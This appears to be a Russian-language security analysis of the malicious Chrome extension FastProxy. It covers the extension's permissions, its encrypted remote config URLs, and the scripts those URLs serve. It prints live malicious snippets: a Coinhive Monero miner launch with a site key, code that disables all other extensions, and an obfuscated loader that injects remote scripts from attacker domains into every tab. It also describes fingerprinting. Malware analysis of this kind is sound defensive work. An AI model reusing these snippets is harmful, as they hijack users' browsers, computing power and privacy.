- PVSM.RU - https://www.pvsm.ru -

«Вирусы» в расширениях на примере FastProxy

В этой статье я покажу насколько опасны могут быть расширения в хроме, и чем
расширения в фаерфоксе безопаснее.

Речь пойдёт о расширении FastProxy.
Ни в коем случае не ставьте его в чистом виде в хроме.

Чтобы получить его исходный код — сначала надо поставить другое расширение Chrome extension source viewer [1].

После этого открыть страницу [2].

Иконка CRX при этом станет жётлой — кликнуть на неё и Выбрать "скачать как zip".

Теперь к анализу кода.

1. Manifest (manifest.json) — ядро любого расширения

Ограничения расширения задаются CSP (content security policy) и permissions:

"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com [3]; object-src 'self'",
"permissions": [ "proxy", "tabs", "webRequest", "webRequestBlocking", "management", "u003Call_urls>", "storage" ],

CSP должна сразу насторожить, она позволяет unsafe-eval (подробнее об этом здесь [4]).
Т.е. исполнять код из любой переданной строки.

  • Разрешение management позволяет управлять другмии расширениями.
  • Разрешение webRequestBlocking позволяет подменять абсолютно все запросы, проходящие через браузер.
  • Разрешение u003Call_urls> это тоже самое что <all_urls> — позволяет действовать на любом сайте.

Подробнее о разрешениях можно узнать здесь [5].

Т.е. на базе лишь одного файла манифеста расширение уже имеет огромный уровень доступа ко всему.

Ключевые файлы кода перечислены в

"background": {
"scripts": [ "lib.js", "jquery.min.js", "background.js", "ga.js" ]
},

Выполняются по порядку в массиве сразу после установки расширения или сразу после запуска браузера.


2. Анализ файлов фонового процесса

Код минимифирован и запутан. Для распутывания будем использовать сайт http://jsbeautifier.org/ [6] с дефолтными настройками.

  • Файл jquery.min.js я сравнил с оригинальным кодом jquery 2.2.4 — они совпадают.
  • Файл ga.js это просто код Google Analytics.
  • Файл lib.js это CryptoJS.
  • Основной код сосредоточен в background.js.

Чтобы было намного легче читать код, я его немного переписал (переименовал функции, поменял запятые на отдельные блоки и т.п.).
Также можно использовать firefox-версию того же расширения, чтобы понять неосновную часть кода.
Использование proxy в фаерфоксе и хроме кардинально отличается.

Чтобы скачать firefox-версию расширения, нужно открыть в фаерфоксе ссылку [7].
Скопировать ссылку на "Добавить в Firefox" и открыть её в хроме.
Открывать также как zip-архив.

Переписанный код можно найти по этой ссылке [8].


3. Анализ background.js [9]

Прежде всего нужно понимать что $.ajax выполненный на файле со скриптом внедряет этот скрипт в страницу (в данном случае не в страницу, а в фоновый процесс).

Настораживают строки

localStorage.C = JSON.stringify(
    [
        "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", 
        "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ=="
    ]
);

Они уже как бы говорят нам, что дело тут не чисто.

Добавляем console.log после CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") и CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record"), запрещая выполнение самих аяксов.

При этом в строке JSON.parse( localStorage.C)[cc] (и аналогичной для record) cc меняем от 0 до 1 (в дальнейшем и до 2, когда увидим массивы из 3 элементов).

Получаем ссылки:
для config это

http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 [10] (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 [11] (2)

для record это

http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 [12] (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 [13] (4)

Причём ссылки отдают данные только при использовании с обоими параметрами uid и version, а также только через $.ajax или fetch. Посмотреть просто открыв через браузер не получится — видимо стоят проверки на входящие заголовки.

А теперь перейдём к тому, что отдают эти аяксы. Если вы хотите прочитать их сами, лучше используйте просто fetch в каком-то ином проекте (потребуется поставить расширения, которые разблокируют CORS в браузере).

config_proxyrus.ru.js [14]

Итак, первая ссылка отдает нам скрипт, который будет автоматически внедрён в фоновый процесс, т.к. 'unsafe-eval' присутствует, а ограничений по ссылкам нет в CSP.

Стоит отметить строку

function antiZapret (tabId, changeInfo, tab) {
if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') {
    chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf('Антизапрет: ОШИБКА') != -1) document.body.innerHTML =  '<center style="margin-top: 50px; font-size:20px;">Сайт временно не работает.<br><br>Повторите запрос позже.</center>'",runAt:"document_start"});
}

Вбиваем в поиске "антизапрет fastproxy" и открываем 4й результат поиска [15], раздел "Будьте осторожны".
Выясняется, что FastProxy использует не свои proxy сервера.

config_proxy-fast.ru.js [16]

Вторая ссылка дает код аналогичный первой, но скрипт уже другой!

function closeWindow () {
    const time = 500;

    // Повторять каждые полсекунды
    setInterval(function() {
        // Взять текущий выбранный таб
        chrome.tabs.getSelected(null, function (details) {

        // если у него нет id - закрыть
        if (details.id == -1)
            window.close();
        })
    }, time);
}
closeWindow();

Обычно у всех табов есть id. Исключение составляет таб-окно консоли браузера. Т.е. это защита от подсматривания через консоль.

Также этот файл содержит новые урлы, расшифруем их, используя CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) и CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8).
Первые 2 ссылки совпадают с предыдущими. Но третья отличается:

http://fastproxy.ga/proxy/config/config.txt [17]

Для 'record' же все 3 ссылки новые.

http://proxyrus.ru/proxy/config/data_ru.txt [18]
http://proxy-fast.ru/proxy/config/data_ru.txt [19]
http://fastproxy.ga/proxy/config/data_ru.txt [20]

config_fastproxy.ga.js [17]

По факту не отличается от config_proxy-fast.ru.js

Вернёмся к config_proxyrus.ru.js

Код также содержит закрытие консоли. Дальше начинается уже интересное.

Строка

var ext_id = chrome.app.getDetails().id;

достает идентификатор расширения, причём это недокументированная возможность.
Текущая документация использует иной метод [21]
Далее идёт разветвление:

if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') {
    localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
    localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
    chrome.runtime.reload(); // полная перезагрузка расширения
}
else {
    localStorage.C = JSON.stringify([
        "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==",
        "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==",
        "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==",
    ]);

    localStorage.P = JSON.stringify([
        "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==",
        "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==",
        "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==",
    ]);
}

Те же три ссылки в случае если ext_id не попадает в нужный список расширений.
И одна новая ссылка, если попадает в список расширений + полная перезагрузка расширения.

Если кому удастся найти, что это были за расширения — напишите в комментариях. С текущим id FastProxy совпадений нет. Поиск через google store не дает ничего по их идентификаторам.

Расшифровка ссылок

localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);

дает

http://prowebdom.ru/update/test/proxy/config/config_ru.js [22]
http://prowebdom.ru/update/test/proxy/config/data_ru.pac [23]
которые могут быть открыты прямо в браузере.

config_prowebdom.ru.js

Снова закрытие консоли. А дальше уже самое интересное.

var coin = $.get("https://coinhive.com/lib/coinhive.min.js");
coin.done(() => {   
    var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true});
    miner.start();
})

^ Запуск майнера Monero. Запомните кстати кошелёк, если увидите где-то в коде аналогичный — это те же люди.

function removeAdBlockExtensions () {
    window.chrome.management.getAll((extensions) => {
        extensions.forEach((e) => {
            if (e.enabled && e.id != window.chrome.runtime.id) {
                window.chrome.management.setEnabled(e.id, false);
            }
        });
    });
}
removeAdBlockExtensions();

Этот код отключает все расширения, кроме него самого.
Если бы не было разрешения managament, это было бы не возможно.

Далее

chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);

и

function onUpdatedListenerSearch(tabId, changeInfo, tab) {
    if (typeof(tab.url) != 'undefined') {

        var ext_id = chrome.app.getDetails().id;
        if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') {
            if (tab.url.indexOf('google') == -1) {
                // в каждый таб внедряется скрипт после полной загрузки страницы в этом табе
                chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('["7a72793462736f702e7275","746b636d36686a762e7275"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback);
            }
        }
    }
}

tabs.onUpdated запускает колбэк при обновлении одной из стадий загрузки таба на другую. Подробнее тут. [24]
Проще говоря действует на каждый таб.

if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')

Кроме FastProxy самого. Видимо была серия нескольких расширений, которые работали как вирусы.

if (tab.url.indexOf('google') == -1) {

Все урлы, кроме тех, что содержит строку google. Видимо потому, что табы с гугл временные. Истиная причина мне не понятна.

И самое страшное — в каждый таб внедряется скрипт после полной загрузки страницы в этом табе:

script1.js [25]

Прогняем его через JS beautifier.

script2.js [26]

Игры с символами можно опустить благодаря console.log.
Самое опасное начинается там где создается тег script.
var l = document.createElement('script');

Меня интересует в первую очередь либо его innerHTML либо src.

l.setAttribute('src', document.location.protocol + '//' + h)

Левая часть понятна — протокол текущей страницы. Правая же часть это фактическая ссылка. Поставим туда console.log

Получаем

zry4bsop.ru/d6safundjenk6af/30022_0.js

script3.js [27]

Аналогично прогоняем через JS beautifier

script4.js [28]

Принцип файла такой же — самая опасная часть это добавление скрипта.

var e = document.createElement("script");
e.setAttribute("src", document.location.protocol + "//" + t);

Получаем

zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
если запускать на сайте MDN

На productforums.google.com же

zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

Выходит правая часть к чему-то привязана

Смотрим по коду

document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]

упоминается в самовызывающейся функции f
затем f упоминается в

var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";

Т.е. через символьные операции в скрипт передаётся посещаемый URL.
Смотрим на сам код скриптов, они совпадают.

script5.js [29]

Опять прогоняем через JS beautifier.

script6.js [30]

Не переписывая код, можно посмотреть на добавления узлов, создание скриптов, замену кук,
создание элементов с нуля, аяксы. Но довольно сложно понять что происходит на самом деле.
Так что попытаемся переименовать эти нумерованные функции.

script7.js [31]

Распутывание этого файла было тяжелым. Тяжелее всего проходить через постоянные создания объектов, которые создают объекты, которые создают объекты… А также тяжело было найти чистые функции чтобы начать распутывать клубок.

Мне не удалось до конца распутать код. Но то, что распутал дает следующее:

Сборка полного отпечатка о пользователе, которая затем конвертируется в уникальную строку через серию битовых операций.
Этот отпечаток включает в себя:

  • UserAgent
  • Сведения об установленных плагинах (для IE особенно). Особо тут стоит упомянуть строку про Palemoon. Дело в том, что Palemoon позволяет использовать Java.
  • Сведения об используемом процессоре
  • Сведения об установленных шрифтах (функция getFontData). Причём по коду заложена возможность использовать расширенный список шрифтов, помимо системного. Но используется только системный
  • Уникальный отпечаток по canvas (функция get2dCanvasFingerprint). Учитывая что он использует несколько нестандартных символов есть проверка на наличие установленных языков в системе.
  • Уникальный отпечаток по webgl (функция getWebglFingerprint)
  • Проверка фальшивости поставляемых navigator данных (функция hasFalseBrowser). Особенно в этом плане интересно использование eval.toString(), чтобы понять что за браузер используется на самом деле. Никогда бы об этом не догадался.

Есть функция, которая запускает XMLHttpRequest. Но она не используется в коде и не запускается при запуске скрипта.

Есть функция, которая внедряет флеш на страницу, но по факту она не используется.

Особо посмотрите коды сбора отпечатков canvas / webgl.

Есть внедрение айфрейма на страницу (метод appendBadIframe1).
Теперь посмотрим что находится в этом айфрейме.

iframe1 [32]

Прогоняем через JS beautifier.

iframe2 [33]

По коду это обменник информацией с основным скриптом. Если основной скрипт это по большей части битовые операции, то айфрейм это прогоны через вычисляемые свойства объектов. Используя window.postMessage они обменваются сообщениями между собой.

Вернёмся к script7.js [31]

Исполнение файла создает 6 запросов XHR (причём через создание Img), а также при клике на страницу открывается новое окно.
Расшифрованные ссылки для запросов можно найти в коде.

Вернёмся к расширению

Вернёмся к расширению и ссылкам record. Эти ссылки используются как PAC-файл для метода chrome.proxy.settings.set [34].
Коды файлов можно найти тут:

https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js [20]
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js [23]
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js [19]
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js [18]

Общая суть файлов — на заблокированные домены и айпи повесить доступ через прокси, а на прочее DIRECT, т.е. доступ без прокси.
Отличается набор серверов и набор заблокированных доменов/айпи.
Разберёмся чьи сервера помимо Автозапрета (antizapret.prostovpn.org) использует FastProxy.
Вбиваем postls.com в поиск. Открываем первую ссылку.

To block the Browsec extension, you will need to create a VPM rule which will block destination URL IP/host name
browsec.com
postlm.com
postls.com

Т.е. FastProxy использует сервера Антизапрета и Browsec, не имея своих собственых серверов.


4. Про потенциал расширения

При помощи разрешения webrequest + webrequestBlocking можно поменять абсолютно любой запрос, включая внутренние запросы внутри самого хрома.
Т.е. можно полностью поменять HTML-страницы, можно убрать мешающие заголовки в запросах, включая CSP (content security policy) сайта.
При помощи своего прокси можно слить весь траффик пользовтаеля, который идёт через свой прокси.


5. Про политику расширений Google и Mozilla

Политика гугла значительно мягче чем политика мозиллы, они публикуют практически всё.
У мозиллы есть жёсткие требования: unsafe-eval запрещён, запутывание кода запрещено (разрешено, если предоставите полный сборщик).
Также мозилла сама периодически смотрит коды расширений, но не сразу после публикации.
Побробнее можно прочитать здесь [35] и здесь [36].
По этой причине ставить новые расширения фаерфокса намного спокойней чем расширения хрома.


6. Что нового я узнал в коде:

navigator отдает нереально много уникальных данных о браузере, нежели это было в прошлом. И скорей всего будет отдавать ещё больше в будущем.

eval.toString, также как и иные нативные функции позволят вычислить настоящую версию браузера.

Уникальный отпечаток по canvas и webgl.


7. Вопросы к читателям

Если кто-то работал с webgl, расскажите пожалуйста что делает функция getWebglFingerprint. И что там получается уникального?


Все исходники можно найти тут [37]

Автор: Рустам

Источник [38]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/javascript/290910

Ссылки в тексте:

[1] Chrome extension source viewer: https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin

[2] открыть страницу: https://chrome.google.com/webstore/detail/fastproxy-%D0%BE%D0%B1%D1%85%D0%BE%D0%B4-%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA/mkelkmkgljeohnaeehnnkmdpocfmkmmf?hl=ru

[3] https://ssl.google-analytics.com: https://ssl.google-analytics.com

[4] здесь: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src

[5] здесь: https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json

[6] http://jsbeautifier.org/: http://jsbeautifier.org/

[7] ссылку: https://addons.mozilla.org/ru/firefox/addon/fastproxy-%D1%80%D0%BE%D1%81%D1%81%D0%B8%D1%8F/

[8] этой ссылке: https://github.com/lawlietmester/fastproxy_article/tree/master/Chrome%20rewrited

[9] background.js: https://github.com/lawlietmester/fastproxy_article/blob/master/Chrome%20rewrited/background.js

[10] http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4: http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4

[11] http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4: http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4

[12] http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4: http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4

[13] http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4: http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4

[14] config_proxyrus.ru.js: https://github.com/lawlietmester/fastproxy_article/blob/master/config_proxyrus.ru.js

[15] 4й результат поиска: https://github.com/anticensority/runet-censorship-bypass/wiki/%D0%90%D0%BB%D1%8C%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%82%D0%B8%D0%B2%D1%8B-%D0%BD%D0%B0%D1%88%D0%B5%D0%BC%D1%83-%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8E

[16] config_proxy-fast.ru.js: https://github.com/lawlietmester/fastproxy_article/blob/master/config_proxy-fast.ru.js

[17] http://fastproxy.ga/proxy/config/config.txt: https://github.com/lawlietmester/fastproxy_article/blob/master/config_fastproxy.ga.js

[18] http://proxyrus.ru/proxy/config/data_ru.txt: https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

[19] http://proxy-fast.ru/proxy/config/data_ru.txt: https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js

[20] http://fastproxy.ga/proxy/config/data_ru.txt: https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js

[21] иной метод: https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/id

[22] http://prowebdom.ru/update/test/proxy/config/config_ru.js: https://github.com/lawlietmester/fastproxy_article/blob/master/config_prowebdom.ru.js

[23] http://prowebdom.ru/update/test/proxy/config/data_ru.pac: https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js

[24] Подробнее тут.: https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated

[25] script1.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script1.js

[26] script2.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script2.js

[27] script3.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script3.js

[28] script4.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script4.js

[29] script5.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script5.js

[30] script6.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script6.js

[31] script7.js: https://github.com/lawlietmester/fastproxy_article/blob/master/script7.js

[32] iframe1: https://github.com/lawlietmester/fastproxy_article/blob/master/iframe1.html

[33] iframe2: https://github.com/lawlietmester/fastproxy_article/blob/master/iframe2.html

[34] метода chrome.proxy.settings.set: https://developer.chrome.com/extensions/proxy

[35] здесь: https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/AMO/Policy/Reviews

[36] здесь: https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Source_Code_Submission

[37] тут: https://github.com/lawlietmester/fastproxy_article

[38] Источник: https://habr.com/post/421735/?utm_source=habrahabr&utm_medium=rss&utm_campaign=421735